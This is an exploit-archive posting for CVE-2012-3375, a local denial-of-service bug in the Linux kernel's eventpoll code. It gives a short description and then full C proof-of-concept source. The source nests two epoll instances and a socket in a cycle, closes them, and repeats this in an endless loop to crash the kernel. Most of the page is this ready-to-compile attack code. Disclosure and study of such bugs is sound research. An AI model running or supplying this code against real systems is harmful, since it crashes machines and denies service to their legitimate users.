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Linux Kernel Local Denial Of Service

Linux Kernel Local Denial Of Service
Posted Jul 5, 2012
Authored by Yurij M. Plotnikov

The Linux kernel suffers from a local denial of service vulnerability in fs/eventpoll.c.

tags | exploit, denial of service, kernel, local
systems | linux
advisories | CVE-2012-3375
SHA-256 | ae684ab734eecff046df417d7c7d68dd048faaf0572bbcf23b25dd857d7448f8

Linux Kernel Local Denial Of Service

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The Linux Kernel is prone to a local denial-of-service vulnerability.

Successful exploits will allow attackers to cause the kernel to crash, denying service to legitimate users.

#include <netinet/in.h>
#include <sys/epoll.h>
#include <errno.h>

int
main ()
{
struct sockaddr_in addr;
struct epoll_event event;
int epfd1, epfd2, sock;
int rc;
int i = 0;
while (1)
{
printf("ITERATION %d\n", ++i);
epfd1 = epoll_create(1);
printf("epoll_create() -> %d(%d)\n", epfd1, errno);
epfd2 = epoll_create(1);
printf("epoll_create() -> %d(%d)\n", epfd2, errno);

sock = socket(PF_INET, SOCK_STREAM, 0);
printf("socket() -> %d(%d)\n", sock, errno);

addr.sin_family = AF_INET;
addr.sin_port = 0;
addr.sin_addr.s_addr = 0;
rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
printf("bind() -> %d(%d)\n", rc, errno);

rc = listen(sock, 1);
printf("listen() -> %d(%d)\n", rc, errno);

event.data.fd = sock;
event.events = 0;
rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
printf("epoll_ctl() -> %d(%d)\n", rc, errno);

event.data.fd = epfd2;
event.events = EPOLLIN;
rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
printf("epoll_ctl() -> %d(%d)\n", rc, errno);

event.data.fd = epfd1;
event.events = EPOLLIN;
rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
printf("epoll_ctl() -> %d(%d)\n", rc, errno);

rc = close(epfd1);
printf("close(epfd1) -> %d(%d)\n", rc, errno);

rc = close(epfd2);
printf("close(epfd2) -> %d(%d)\n", rc, errno);

rc = close(sock);
printf("close(sock) -> %d(%d)\n", rc, errno);

sleep(1);
printf("\n\n");
}
return 0;
}

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